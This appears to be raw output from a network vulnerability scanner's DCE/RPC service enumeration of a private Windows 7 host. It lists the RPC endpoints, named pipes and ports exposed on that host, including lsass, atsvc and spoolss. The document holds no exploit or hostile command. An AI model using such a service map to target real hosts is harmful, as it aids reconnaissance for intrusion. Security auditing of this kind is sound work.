Object UUID : 00000000-0000-0000-0000-000000000000
UUID : b58aa02e-2884-4e97-8176-4ee06d794184, version 1.0
Description : Unknown RPC service
Type : Local RPC service
Named pipe : trkwks

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : dd490425-5325-4565-b774-7e27d6c09c24, version 1.0
Description : Unknown RPC service
Annotation : Base Firewall Engine API
Type : Local RPC service
Named pipe : LRPC-c32371f26b20099a16

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 7f9d11bf-7fb9-436b-a812-b2d50c5d4c03, version 1.0
Description : Unknown RPC service
Annotation : Fw APIs
Type : Local RPC service
Named pipe : LRPC-c32371f26b20099a16

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 2fb92682-6599-42dc-ae13-bd2ca89bd11c, version 1.0
Description : Unknown RPC service
Annotation : Fw APIs
Type : Local RPC service
Named pipe : LRPC-c32371f26b20099a16

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 0b6edbfa-4a24-4fc6-8a23-942b1eca65d1, version 1.0
Description : Unknown RPC service
Annotation : Spooler function endpoint
Type : Local RPC service
Named pipe : spoolss

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : ae33069b-a2a8-46ee-a235-ddfd339be281, version 1.0
Description : Unknown RPC service
Annotation : Spooler base remote object endpoint
Type : Local RPC service
Named pipe : spoolss

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 4a452661-8290-4b36-8fbe-7f4093a94978, version 1.0
Description : Unknown RPC service
Annotation : Spooler function endpoint
Type : Local RPC service
Named pipe : spoolss

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 7ea70bcf-48af-4f6a-8968-6a440754d5fa, version 1.0
Description : Unknown RPC service
Annotation : NSI server endpoint
Type : Local RPC service
Named pipe : OLE60FD199BEC7D47EE883E2569A4D1

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 7ea70bcf-48af-4f6a-8968-6a440754d5fa, version 1.0
Description : Unknown RPC service
Annotation : NSI server endpoint
Type : Local RPC service
Named pipe : LRPC-3a9a05e09411c28138

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 3473dd4d-2e88-4006-9cba-22570909dd10, version 5.0
Description : Unknown RPC service
Annotation : WinHttp Auto-Proxy Service
Type : Local RPC service
Named pipe : OLE60FD199BEC7D47EE883E2569A4D1

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 3473dd4d-2e88-4006-9cba-22570909dd10, version 5.0
Description : Unknown RPC service
Annotation : WinHttp Auto-Proxy Service
Type : Local RPC service
Named pipe : LRPC-3a9a05e09411c28138

Object UUID : 6c637067-6569-746e-0000-000000000000
UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
Description : Unknown RPC service
Annotation : Impl friendly name
Type : Local RPC service
Named pipe : LRPC-ff27da8108ddf83ccf

Object UUID : 666f7270-6c69-7365-0000-000000000000
UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
Description : Unknown RPC service
Annotation : Impl friendly name
Type : Local RPC service
Named pipe : LRPC-ff27da8108ddf83ccf

Object UUID : 666f7270-6c69-7365-0000-000000000000
UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
Description : Unknown RPC service
Annotation : Impl friendly name
Type : Local RPC service
Named pipe : IUserProfile2

Object UUID : 24d1f7c7-76af-4f28-9ccd-7f6cb6468601
UUID : 2eb08e3e-639f-4fba-97b1-14f878961076, version 1.0
Description : Unknown RPC service
Type : Local RPC service
Named pipe : LRPC-ff27da8108ddf83ccf

Object UUID : 24d1f7c7-76af-4f28-9ccd-7f6cb6468601
UUID : 2eb08e3e-639f-4fba-97b1-14f878961076, version 1.0
Description : Unknown RPC service
Type : Local RPC service
Named pipe : IUserProfile2

Object UUID : 736e6573-0000-0000-0000-000000000000
UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
Description : Unknown RPC service
Annotation : Impl friendly name
Type : Local RPC service
Named pipe : LRPC-ff27da8108ddf83ccf

Object UUID : 736e6573-0000-0000-0000-000000000000
UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
Description : Unknown RPC service
Annotation : Impl friendly name
Type : Local RPC service
Named pipe : IUserProfile2

Object UUID : 736e6573-0000-0000-0000-000000000000
UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
Description : Unknown RPC service
Annotation : Impl friendly name
Type : Local RPC service
Named pipe : OLEB07A03DF4E8045B2B507060FF5C9

Object UUID : 736e6573-0000-0000-0000-000000000000
UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
Description : Unknown RPC service
Annotation : Impl friendly name
Type : Local RPC service
Named pipe : senssvc

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 0a74ef1c-41a4-4e06-83ae-dc74fb1cdd53, version 1.0
Description : Scheduler Service
Windows process : svchost.exe
Type : Local RPC service
Named pipe : LRPC-ff27da8108ddf83ccf

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 0a74ef1c-41a4-4e06-83ae-dc74fb1cdd53, version 1.0
Description : Scheduler Service
Windows process : svchost.exe
Type : Local RPC service
Named pipe : IUserProfile2

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 0a74ef1c-41a4-4e06-83ae-dc74fb1cdd53, version 1.0
Description : Scheduler Service
Windows process : svchost.exe
Type : Local RPC service
Named pipe : OLEB07A03DF4E8045B2B507060FF5C9

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 0a74ef1c-41a4-4e06-83ae-dc74fb1cdd53, version 1.0
Description : Scheduler Service
Windows process : svchost.exe
Type : Local RPC service
Named pipe : senssvc

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 1ff70682-0a51-30e8-076d-740be8cee98b, version 1.0
Description : Scheduler Service
Windows process : svchost.exe
Type : Local RPC service
Named pipe : LRPC-ff27da8108ddf83ccf

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 1ff70682-0a51-30e8-076d-740be8cee98b, version 1.0
Description : Scheduler Service
Windows process : svchost.exe
Type : Local RPC service
Named pipe : IUserProfile2

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 1ff70682-0a51-30e8-076d-740be8cee98b, version 1.0
Description : Scheduler Service
Windows process : svchost.exe
Type : Local RPC service
Named pipe : OLEB07A03DF4E8045B2B507060FF5C9

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 1ff70682-0a51-30e8-076d-740be8cee98b, version 1.0
Description : Scheduler Service
Windows process : svchost.exe
Type : Local RPC service
Named pipe : senssvc

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 378e52b0-c0a9-11cf-822d-00aa0051e40f, version 1.0
Description : Scheduler Service
Windows process : svchost.exe
Type : Local RPC service
Named pipe : LRPC-ff27da8108ddf83ccf

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 378e52b0-c0a9-11cf-822d-00aa0051e40f, version 1.0
Description : Scheduler Service
Windows process : svchost.exe
Type : Local RPC service
Named pipe : IUserProfile2

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 378e52b0-c0a9-11cf-822d-00aa0051e40f, version 1.0
Description : Scheduler Service
Windows process : svchost.exe
Type : Local RPC service
Named pipe : OLEB07A03DF4E8045B2B507060FF5C9

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 378e52b0-c0a9-11cf-822d-00aa0051e40f, version 1.0
Description : Scheduler Service
Windows process : svchost.exe
Type : Local RPC service
Named pipe : senssvc

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 86d35949-83c9-4044-b424-db363231fd0c, version 1.0
Description : Unknown RPC service
Type : Local RPC service
Named pipe : LRPC-ff27da8108ddf83ccf

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 86d35949-83c9-4044-b424-db363231fd0c, version 1.0
Description : Unknown RPC service
Type : Local RPC service
Named pipe : IUserProfile2

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 86d35949-83c9-4044-b424-db363231fd0c, version 1.0
Description : Unknown RPC service
Type : Local RPC service
Named pipe : OLEB07A03DF4E8045B2B507060FF5C9

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 86d35949-83c9-4044-b424-db363231fd0c, version 1.0
Description : Unknown RPC service
Type : Local RPC service
Named pipe : senssvc

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 552d076a-cb29-4e44-8b6a-d15e59e2c0af, version 1.0
Description : Unknown RPC service
Annotation : IP Transition Configuration endpoint
Type : Local RPC service
Named pipe : LRPC-ff27da8108ddf83ccf

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 552d076a-cb29-4e44-8b6a-d15e59e2c0af, version 1.0
Description : Unknown RPC service
Annotation : IP Transition Configuration endpoint
Type : Local RPC service
Named pipe : IUserProfile2

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 552d076a-cb29-4e44-8b6a-d15e59e2c0af, version 1.0
Description : Unknown RPC service
Annotation : IP Transition Configuration endpoint
Type : Local RPC service
Named pipe : OLEB07A03DF4E8045B2B507060FF5C9

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 552d076a-cb29-4e44-8b6a-d15e59e2c0af, version 1.0
Description : Unknown RPC service
Annotation : IP Transition Configuration endpoint
Type : Local RPC service
Named pipe : senssvc

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 98716d03-89ac-44c7-bb8c-285824e51c4a, version 1.0
Description : Unknown RPC service
Annotation : XactSrv service
Type : Local RPC service
Named pipe : LRPC-ff27da8108ddf83ccf

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 98716d03-89ac-44c7-bb8c-285824e51c4a, version 1.0
Description : Unknown RPC service
Annotation : XactSrv service
Type : Local RPC service
Named pipe : IUserProfile2

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 98716d03-89ac-44c7-bb8c-285824e51c4a, version 1.0
Description : Unknown RPC service
Annotation : XactSrv service
Type : Local RPC service
Named pipe : OLEB07A03DF4E8045B2B507060FF5C9

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 98716d03-89ac-44c7-bb8c-285824e51c4a, version 1.0
Description : Unknown RPC service
Annotation : XactSrv service
Type : Local RPC service
Named pipe : senssvc

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 201ef99a-7fa0-444c-9399-19ba84f12a1a, version 1.0
Description : Unknown RPC service
Annotation : AppInfo
Type : Local RPC service
Named pipe : LRPC-ff27da8108ddf83ccf

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 201ef99a-7fa0-444c-9399-19ba84f12a1a, version 1.0
Description : Unknown RPC service
Annotation : AppInfo
Type : Local RPC service
Named pipe : IUserProfile2

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 201ef99a-7fa0-444c-9399-19ba84f12a1a, version 1.0
Description : Unknown RPC service
Annotation : AppInfo
Type : Local RPC service
Named pipe : OLEB07A03DF4E8045B2B507060FF5C9

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 201ef99a-7fa0-444c-9399-19ba84f12a1a, version 1.0
Description : Unknown RPC service
Annotation : AppInfo
Type : Local RPC service
Named pipe : senssvc

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 5f54ce7d-5b79-4175-8584-cb65313a0e98, version 1.0
Description : Unknown RPC service
Annotation : AppInfo
Type : Local RPC service
Named pipe : LRPC-ff27da8108ddf83ccf

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 5f54ce7d-5b79-4175-8584-cb65313a0e98, version 1.0
Description : Unknown RPC service
Annotation : AppInfo
Type : Local RPC service
Named pipe : IUserProfile2

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 5f54ce7d-5b79-4175-8584-cb65313a0e98, version 1.0
Description : Unknown RPC service
Annotation : AppInfo
Type : Local RPC service
Named pipe : OLEB07A03DF4E8045B2B507060FF5C9

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 5f54ce7d-5b79-4175-8584-cb65313a0e98, version 1.0
Description : Unknown RPC service
Annotation : AppInfo
Type : Local RPC service
Named pipe : senssvc

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : fd7a0523-dc70-43dd-9b2e-9c5ed48225b1, version 1.0
Description : Unknown RPC service
Annotation : AppInfo
Type : Local RPC service
Named pipe : LRPC-ff27da8108ddf83ccf

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : fd7a0523-dc70-43dd-9b2e-9c5ed48225b1, version 1.0
Description : Unknown RPC service
Annotation : AppInfo
Type : Local RPC service
Named pipe : IUserProfile2

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : fd7a0523-dc70-43dd-9b2e-9c5ed48225b1, version 1.0
Description : Unknown RPC service
Annotation : AppInfo
Type : Local RPC service
Named pipe : OLEB07A03DF4E8045B2B507060FF5C9

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : fd7a0523-dc70-43dd-9b2e-9c5ed48225b1, version 1.0
Description : Unknown RPC service
Annotation : AppInfo
Type : Local RPC service
Named pipe : senssvc

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 58e604e8-9adb-4d2e-a464-3b0683fb1480, version 1.0
Description : Unknown RPC service
Annotation : AppInfo
Type : Local RPC service
Named pipe : LRPC-ff27da8108ddf83ccf

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 58e604e8-9adb-4d2e-a464-3b0683fb1480, version 1.0
Description : Unknown RPC service
Annotation : AppInfo
Type : Local RPC service
Named pipe : IUserProfile2

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 58e604e8-9adb-4d2e-a464-3b0683fb1480, version 1.0
Description : Unknown RPC service
Annotation : AppInfo
Type : Local RPC service
Named pipe : OLEB07A03DF4E8045B2B507060FF5C9

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 58e604e8-9adb-4d2e-a464-3b0683fb1480, version 1.0
Description : Unknown RPC service
Annotation : AppInfo
Type : Local RPC service
Named pipe : senssvc

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : f6beaff7-1e19-4fbb-9f8f-b89e2018337c, version 1.0
Description : Unknown RPC service
Annotation : Event log TCPIP
Type : Local RPC service
Named pipe : eventlog

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d5, version 1.0
Description : DHCP Client Service
Windows process : svchost.exe
Annotation : DHCP Client LRPC Endpoint
Type : Local RPC service
Named pipe : eventlog

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d5, version 1.0
Description : DHCP Client Service
Windows process : svchost.exe
Annotation : DHCP Client LRPC Endpoint
Type : Local RPC service
Named pipe : AudioClientRpc

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d5, version 1.0
Description : DHCP Client Service
Windows process : svchost.exe
Annotation : DHCP Client LRPC Endpoint
Type : Local RPC service
Named pipe : Audiosrv

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d5, version 1.0
Description : DHCP Client Service
Windows process : svchost.exe
Annotation : DHCP Client LRPC Endpoint
Type : Local RPC service
Named pipe : OLEBB55DDAAA2414D038A1656D7B778

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d5, version 1.0
Description : DHCP Client Service
Windows process : svchost.exe
Annotation : DHCP Client LRPC Endpoint
Type : Local RPC service
Named pipe : dhcpcsvc

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d6, version 1.0
Description : Unknown RPC service
Annotation : DHCPv6 Client LRPC Endpoint
Type : Local RPC service
Named pipe : eventlog

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d6, version 1.0
Description : Unknown RPC service
Annotation : DHCPv6 Client LRPC Endpoint
Type : Local RPC service
Named pipe : AudioClientRpc

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d6, version 1.0
Description : Unknown RPC service
Annotation : DHCPv6 Client LRPC Endpoint
Type : Local RPC service
Named pipe : Audiosrv

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d6, version 1.0
Description : Unknown RPC service
Annotation : DHCPv6 Client LRPC Endpoint
Type : Local RPC service
Named pipe : OLEBB55DDAAA2414D038A1656D7B778

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d6, version 1.0
Description : Unknown RPC service
Annotation : DHCPv6 Client LRPC Endpoint
Type : Local RPC service
Named pipe : dhcpcsvc

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d6, version 1.0
Description : Unknown RPC service
Annotation : DHCPv6 Client LRPC Endpoint
Type : Local RPC service
Named pipe : dhcpcsvc6

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 06bba54a-be05-49f9-b0a0-30f790261023, version 1.0
Description : Unknown RPC service
Annotation : Security Center
Type : Local RPC service
Named pipe : eventlog

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 06bba54a-be05-49f9-b0a0-30f790261023, version 1.0
Description : Unknown RPC service
Annotation : Security Center
Type : Local RPC service
Named pipe : AudioClientRpc

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 06bba54a-be05-49f9-b0a0-30f790261023, version 1.0
Description : Unknown RPC service
Annotation : Security Center
Type : Local RPC service
Named pipe : Audiosrv

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 06bba54a-be05-49f9-b0a0-30f790261023, version 1.0
Description : Unknown RPC service
Annotation : Security Center
Type : Local RPC service
Named pipe : OLEBB55DDAAA2414D038A1656D7B778

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 06bba54a-be05-49f9-b0a0-30f790261023, version 1.0
Description : Unknown RPC service
Annotation : Security Center
Type : Local RPC service
Named pipe : dhcpcsvc

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 06bba54a-be05-49f9-b0a0-30f790261023, version 1.0
Description : Unknown RPC service
Annotation : Security Center
Type : Local RPC service
Named pipe : dhcpcsvc6

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 30adc50c-5cbc-46ce-9a0e-91914789e23c, version 1.0
Description : Unknown RPC service
Annotation : NRP server endpoint
Type : Local RPC service
Named pipe : eventlog

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 30adc50c-5cbc-46ce-9a0e-91914789e23c, version 1.0
Description : Unknown RPC service
Annotation : NRP server endpoint
Type : Local RPC service
Named pipe : AudioClientRpc

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 30adc50c-5cbc-46ce-9a0e-91914789e23c, version 1.0
Description : Unknown RPC service
Annotation : NRP server endpoint
Type : Local RPC service
Named pipe : Audiosrv

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 30adc50c-5cbc-46ce-9a0e-91914789e23c, version 1.0
Description : Unknown RPC service
Annotation : NRP server endpoint
Type : Local RPC service
Named pipe : OLEBB55DDAAA2414D038A1656D7B778

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 30adc50c-5cbc-46ce-9a0e-91914789e23c, version 1.0
Description : Unknown RPC service
Annotation : NRP server endpoint
Type : Local RPC service
Named pipe : dhcpcsvc

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 30adc50c-5cbc-46ce-9a0e-91914789e23c, version 1.0
Description : Unknown RPC service
Annotation : NRP server endpoint
Type : Local RPC service
Named pipe : dhcpcsvc6

										None								8/26/01		8/20/20

		10736						None		192.168.0.31		tcp		445		DCE Services Enumeration		A DCE/RPC service is running on the remote host.		By sending a Lookup request to the portmapper (TCP 135 or epmapper
PIPE) it was possible to enumerate the Distributed Computing
Environment (DCE) services running on the remote port. Using this
information it is possible to connect and bind to each service by
sending an RPC request to the remote port/pipe.		n/a				
The following DCERPC services are available remotely :

Object UUID : 765294ba-60bc-48b8-92e9-89fd77769d91
UUID : d95afe70-a6d5-4259-822e-2c84da1ddb0d, version 1.0
Description : Unknown RPC service
Type : Remote RPC service
Named pipe : \PIPE\InitShutdown
Netbios name : \\WIN7

Object UUID : b08669ee-8cb5-43a5-a017-84fe00000000
UUID : 76f226c3-ec14-4325-8a99-6a46348418af, version 1.0
Description : Unknown RPC service
Type : Remote RPC service
Named pipe : \PIPE\InitShutdown
Netbios name : \\WIN7

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
Description : Security Account Manager
Windows process : lsass.exe
Type : Remote RPC service
Named pipe : \pipe\lsass
Netbios name : \\WIN7

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
Description : Security Account Manager
Windows process : lsass.exe
Type : Remote RPC service
Named pipe : \PIPE\protected_storage
Netbios name : \\WIN7

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : b25a52bf-e5dd-4f4a-aea6-8ca7272a0e86, version 1.0
Description : Unknown RPC service
Annotation : KeyIso
Type : Remote RPC service
Named pipe : \pipe\lsass
Netbios name : \\WIN7

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : b25a52bf-e5dd-4f4a-aea6-8ca7272a0e86, version 1.0
Description : Unknown RPC service
Annotation : KeyIso
Type : Remote RPC service
Named pipe : \PIPE\protected_storage
Netbios name : \\WIN7

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : b58aa02e-2884-4e97-8176-4ee06d794184, version 1.0
Description : Unknown RPC service
Type : Remote RPC service
Named pipe : \pipe\trkwks
Netbios name : \\WIN7

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 1ff70682-0a51-30e8-076d-740be8cee98b, version 1.0
Description : Scheduler Service
Windows process : svchost.exe
Type : Remote RPC service
Named pipe : \PIPE\atsvc
Netbios name : \\WIN7

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 378e52b0-c0a9-11cf-822d-00aa0051e40f, version 1.0
Description : Scheduler Service
Windows process : svchost.exe
Type : Remote RPC service
Named pipe : \PIPE\atsvc
Netbios name : \\WIN7

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 86d35949-83c9-4044-b424-db363231fd0c, version 1.0
Description : Unknown RPC service
Type : Remote RPC service
Named pipe : \PIPE\atsvc
Netbios name : \\WIN7

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 552d076a-cb29-4e44-8b6a-d15e59e2c0af, version 1.0
Description : Unknown RPC service
Annotation : IP Transition Configuration endpoint
Type : Remote RPC service
Named pipe : \PIPE\atsvc
Netbios name : \\WIN7

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 98716d03-89ac-44c7-bb8c-285824e51c4a, version 1.0
Description : Unknown RPC service
Annotation : XactSrv service
Type : Remote RPC service
Named pipe : \PIPE\atsvc
Netbios name : \\WIN7

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 201ef99a-7fa0-444c-9399-19ba84f12a1a, version 1.0
Description : Unknown RPC service
Annotation : AppInfo
Type : Remote RPC service
Named pipe : \PIPE\atsvc
Netbios name : \\WIN7

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 201ef99a-7fa0-444c-9399-19ba84f12a1a, version 1.0
Description : Unknown RPC service
Annotation : AppInfo
Type : Remote RPC service
Named pipe : \PIPE\srvsvc
Netbios name : \\WIN7

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 201ef99a-7fa0-444c-9399-19ba84f12a1a, version 1.0
Description : Unknown RPC service
Annotation : AppInfo
Type : Remote RPC service
Named pipe : \PIPE\browser
Netbios name : \\WIN7

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 5f54ce7d-5b79-4175-8584-cb65313a0e98, version 1.0
Description : Unknown RPC service
Annotation : AppInfo
Type : Remote RPC service
Named pipe : \PIPE\atsvc
Netbios name : \\WIN7

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 5f54ce7d-5b79-4175-8584-cb65313a0e98, version 1.0
Description : Unknown RPC service
Annotation : AppInfo
Type : Remote RPC service
Named pipe : \PIPE\srvsvc
Netbios name : \\WIN7

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 5f54ce7d-5b79-4175-8584-cb65313a0e98, version 1.0
Description : Unknown RPC service
Annotation : AppInfo
Type : Remote RPC service
Named pipe : \PIPE\browser
Netbios name : \\WIN7

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : fd7a0523-dc70-43dd-9b2e-9c5ed48225b1, version 1.0
Description : Unknown RPC service
Annotation : AppInfo
Type : Remote RPC service
Named pipe : \PIPE\atsvc
Netbios name : \\WIN7

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : fd7a0523-dc70-43dd-9b2e-9c5ed48225b1, version 1.0
Description : Unknown RPC service
Annotation : AppInfo
Type : Remote RPC service
Named pipe : \PIPE\srvsvc
Netbios name : \\WIN7

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : fd7a0523-dc70-43dd-9b2e-9c5ed48225b1, version 1.0
Description : Unknown RPC service
Annotation : AppInfo
Type : Remote RPC service
Named pipe : \PIPE\browser
Netbios name : \\WIN7

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 58e604e8-9adb-4d2e-a464-3b0683fb1480, version 1.0
Description : Unknown RPC service
Annotation : AppInfo
Type : Remote RPC service
Named pipe : \PIPE\atsvc
Netbios name : \\WIN7

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 58e604e8-9adb-4d2e-a464-3b0683fb1480, version 1.0
Description : Unknown RPC service
Annotation : AppInfo
Type : Remote RPC service
Named pipe : \PIPE\srvsvc
Netbios name : \\WIN7

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 58e604e8-9adb-4d2e-a464-3b0683fb1480, version 1.0
Description : Unknown RPC service
Annotation : AppInfo
Type : Remote RPC service
Named pipe : \PIPE\browser
Netbios name : \\WIN7

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : f6beaff7-1e19-4fbb-9f8f-b89e2018337c, version 1.0
Description : Unknown RPC service
Annotation : Event log TCPIP
Type : Remote RPC service
Named pipe : \pipe\eventlog
Netbios name : \\WIN7

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d5, version 1.0
Description : DHCP Client Service
Windows process : svchost.exe
Annotation : DHCP Client LRPC Endpoint
Type : Remote RPC service
Named pipe : \pipe\eventlog
Netbios name : \\WIN7

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d6, version 1.0
Description : Unknown RPC service
Annotation : DHCPv6 Client LRPC Endpoint
Type : Remote RPC service
Named pipe : \pipe\eventlog
Netbios name : \\WIN7

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 06bba54a-be05-49f9-b0a0-30f790261023, version 1.0
Description : Unknown RPC service
Annotation : Security Center
Type : Remote RPC service
Named pipe : \pipe\eventlog
Netbios name : \\WIN7

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 30adc50c-5cbc-46ce-9a0e-91914789e23c, version 1.0
Description : Unknown RPC service
Annotation : NRP server endpoint
Type : Remote RPC service
Named pipe : \pipe\eventlog
Netbios name : \\WIN7

										None								8/26/01		8/20/20

		10736						None		192.168.0.31		tcp		49152		DCE Services Enumeration		A DCE/RPC service is running on the remote host.		By sending a Lookup request to the portmapper (TCP 135 or epmapper
PIPE) it was possible to enumerate the Distributed Computing
Environment (DCE) services running on the remote port. Using this
information it is possible to connect and bind to each service by
sending an RPC request to the remote port/pipe.		n/a				
The following DCERPC services are available on TCP port 49152 :

Object UUID : 765294ba-60bc-48b8-92e9-89fd77769d91
UUID : d95afe70-a6d5-4259-822e-2c84da1ddb0d, version 1.0
Description : Unknown RPC service
Type : Remote RPC service
TCP Port : 49152
IP : 192.168.0.31

										None								8/26/01		8/20/20

		10736						None		192.168.0.31		tcp		49153		DCE Services Enumeration		A DCE/RPC service is running on the remote host.		By sending a Lookup request to the portmapper (TCP 135 or epmapper
PIPE) it was possible to enumerate the Distributed Computing
Environment (DCE) services running on the remote port. Using this
information it is possible to connect and bind to each service by
sending an RPC request to the remote port/pipe.		n/a				
The following DCERPC services are available on TCP port 49153 :

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : f6beaff7-1e19-4fbb-9f8f-b89e2018337c, version 1.0
Description : Unknown RPC service
Annotation : Event log TCPIP
Type : Remote RPC service
TCP Port : 49153
IP : 192.168.0.31

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d5, version 1.0
Description : DHCP Client Service
Windows process : svchost.exe
Annotation : DHCP Client LRPC Endpoint
Type : Remote RPC service
TCP Port : 49153
IP : 192.168.0.31

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d6, version 1.0
Description : Unknown RPC service
Annotation : DHCPv6 Client LRPC Endpoint
Type : Remote RPC service
TCP Port : 49153
IP : 192.168.0.31

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 06bba54a-be05-49f9-b0a0-30f790261023, version 1.0
Description : Unknown RPC service
Annotation : Security Center
Type : Remote RPC service
TCP Port : 49153
IP : 192.168.0.31

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 30adc50c-5cbc-46ce-9a0e-91914789e23c, version 1.0
Description : Unknown RPC service
Annotation : NRP server endpoint
Type : Remote RPC service
TCP Port : 49153
IP : 192.168.0.31

										None								8/26/01		8/20/20

